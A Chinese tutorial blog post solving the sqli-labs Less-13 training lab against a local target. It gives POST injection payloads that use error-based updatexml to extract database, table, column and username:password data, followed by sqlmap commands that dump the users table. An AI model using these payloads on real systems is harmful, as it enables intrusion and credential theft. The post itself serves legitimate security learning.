当前位置: 首页 > news >正文

sqli-labs:Less-13关卡详细解析

1. 思路🚀

本关的SQL语句为:

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
  • 注入类型:字符串型(单引号、括号包裹)、POST请求
  • 提示:参数需以')闭合

php输出语句的部分代码:

if($row)
{//echo '<font color= "#0000ff">';	echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">';	echo "<br>";//echo 'Your Login name:'. $row['username'];//echo "<br>";//echo 'Your Password:' .$row['password'];//echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"   />';	echo "</font>";
}

可以看到没有回显语句,那就需要用到盲注手段,首选报错盲注,问就是sql语句少:

  • 布尔盲注
  • 时间盲注
  • 报错盲注✅

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-13/,只需要将下面的urlpost data放入对应位置,粘贴即可。

2.1. 判断能否注入⚡

uname=1') order by 3 #
&passwd=admin&submit=Submit
  • order by 3:探测字段数(报错说明字段数=2)

在这里插入图片描述


2.2. 获取数据库⚡

uname=1') and updatexml(1,concat(1,(select database())),3) #
&passwd=admin&submit=Submit

在这里插入图片描述


2.3. 获取表名⚡

uname=1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&passwd=admin&submit=Submit

在这里插入图片描述


2.4. 获取字段⚡

uname=1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&passwd=admin&submit=Submit

在这里插入图片描述


2.5. 获取数据⚡

uname=1') and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3)#
&passwd=admin&submit=Submit

在这里插入图片描述


2.6. 参数汇总表⭐

参数作用示例
')闭合符号id=1')
#注释符#
order by判断字段数order by 3
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,比如:http://localhost:8081/Less-13/,由于本关卡为post请求,需要加参数指明请求格式,
--data="uname=1&passwd=123456"unamepasswd的值随意,具体如下:⭐

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-13/" --data="uname=1&passwd=123456" --batch# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--data指定post请求
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

关于post请求,本关卡与关卡11的解法相仿,但关卡11的解析更为详细,欢迎大家移步"sqli-labs:Less-11关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209

有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.lryc.cn/news/606119.html

相关文章:

  • 数据大集网:引领精准获客新时代的优质平台
  • 智慧医院导航系统:基于GPS+蓝牙ibeacon多源融合定位与deepseek•AI导诊问答的设计与实现
  • Linux 时钟同步配置:基础管理与 chrony 工具应用
  • 多架构镜像整合全攻略:在Docker中实现单一镜像支持同时支持amd64和arm64架构
  • hive新增列之后插入新数据时,新列为NULL的解决办法
  • CentOS 7 编译 Redis 6.x 完整教程(解决 GCC 版本不支持 C11)
  • 告别物业思维:科技正重构产业园区的价值坐标系
  • AR智能巡检:工业4.0时代的降本增效利器
  • [人工智能-综述-17]:AI革命:重塑职业版图,开启文明新篇
  • 数据集归一化
  • 机器学习之逻辑回归(Logistic Regression)
  • 视觉图像处理中级篇 [2]—— 外观检查 / 伤痕模式的原理与优化设置方法
  • 【支持Ubuntu22】Ambari3.0.0+Bigtop3.2.0——Step5—Nginx安装
  • Qt 常用控件 - 3
  • vue-seamless-scroll 与 echarts 三联水球图循环滚动的渲染难题-出现短暂空白
  • iOS高级开发工程师面试——其他
  • Linux大页内存导致服务内存不足
  • Java——方法
  • 基于R语言地理加权回归、主成份分析、判别分析等空间异质性数据分析实践技术应用
  • EEG手工特征提取总结
  • RagFlow本地源码部署(非Docker)
  • 现在有哪些广泛使用的时序数据库?
  • AWS高级解决方案架构师黄海波:GenAI 时代非结构化数据处理的实践与趋势洞察
  • Linux性能检测与调优
  • 解决SparkSQL创建出来的数据库hive中无法识别的问题
  • 切割液性能智能调控系统与晶圆 TTV 预测模型的协同构建
  • toFixed()方法的报错注意
  • Python 程序设计讲义(47):组合数据类型——字典类型:创建字典
  • MySQL常用函数总结
  • 2025年7月最新一区SCI-基尔霍夫定律优化算法Kirchhoff’s law algorithm-附Matlab免费代码